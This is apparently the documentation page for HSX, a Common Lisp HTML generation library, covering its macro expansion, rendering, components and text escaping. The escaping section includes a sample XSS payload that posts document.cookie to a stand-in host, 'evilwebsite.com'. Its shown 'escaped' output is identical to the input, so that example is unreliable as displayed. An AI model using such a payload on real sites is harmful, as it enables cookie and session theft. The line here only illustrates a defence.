hsx
2025-06-22
Simple and powerful HTML generation library.
Upstream URL
Author
Maintainer
License
HSX – Hypertext S-expression
HSX is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
Ὢ7 BETA NOTICE:
This library is still in early development. APIs may change.
See release notes for details.
⚙️ How HSX Works
Every tag or component inside an (hsx ...)
form is transformed into a Lisp expression of the form:
(create-element type props children)
For example:
(hsx (article :class "container" (h1 "Title") (p "Paragraph") (~share-button :service :x))
Is internally transformed (by macro expansion) into:
(create-element :article (list :class "container") (list (create-element :h1 (list) (list "Title")) (create-element :p (list) (list "Paragraph")) (create-element #'~share-button (list :service :x) (list))))
Ὠ0 Quick Example
(hsx (div :id "main" :class "container" (h1 "Hello, HSX!") (p "This is a simple paragraph.")))
Generates:
<div id="main" class="container"> <h1>Hello, HSX!</h1> <p>This is a simple paragraph.</p> </div>
ὍD Rendering
Use render-to-string
to convert an HSX structure to a string of HTML:
(render-to-string (hsx ...))
ὑ0 Escaping text
All elements automatically escape special characters in content to prevent XSS and HTML injection:
(hsx (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
Outputs:
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
Use the special tag raw!
to inject trusted, unescaped HTML:
(hsx (article (raw! "HTML text here ..."))
ᾞ9 Fragments
Use <>
tag to group multiple sibling elements without wrapping them in a container tag:
(hsx (<> (p "One") (p "Two")))
Outputs:
<p>One</p> <p>Two</p>
Note: raw!
tag is a fragment that disables HTML escaping for its children.
ᾟ1 Components
Define reusable components using defcomp
macro. Component names must start with ~
.
Keyword-style
(defcomp ~card (&key title children) (hsx (div :class "card" (h2 title) children)))
Property-list style
(defcomp ~card (&rest props) (hsx (div :class "card" (h2 (getf props :title)) (getf props :children))))
Usage
(hsx (~card :title "Hello" (p "This is a card.")))
Outputs:
<div class="card"> <h2>Hello</h2> <p>This is a card.</p> </div>
ᾞC Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
(hsx (div (if (> (random 10) 5) (hsx (p "High!")) (hsx (p "Low!")))))
Or loop:
(hsx (ul (loop :for item :in todo-list :collect (hsx (li item))))))
Utils
(clsx &rest strs)
: A utility function for constructing class strings conditionally. It removesnil
from the string list, then joins the remaining strings with spaces.
Ὄ4 License
MIT License
© 2024 Akira Tempaku
© 2018 Bo Yao (original flute project)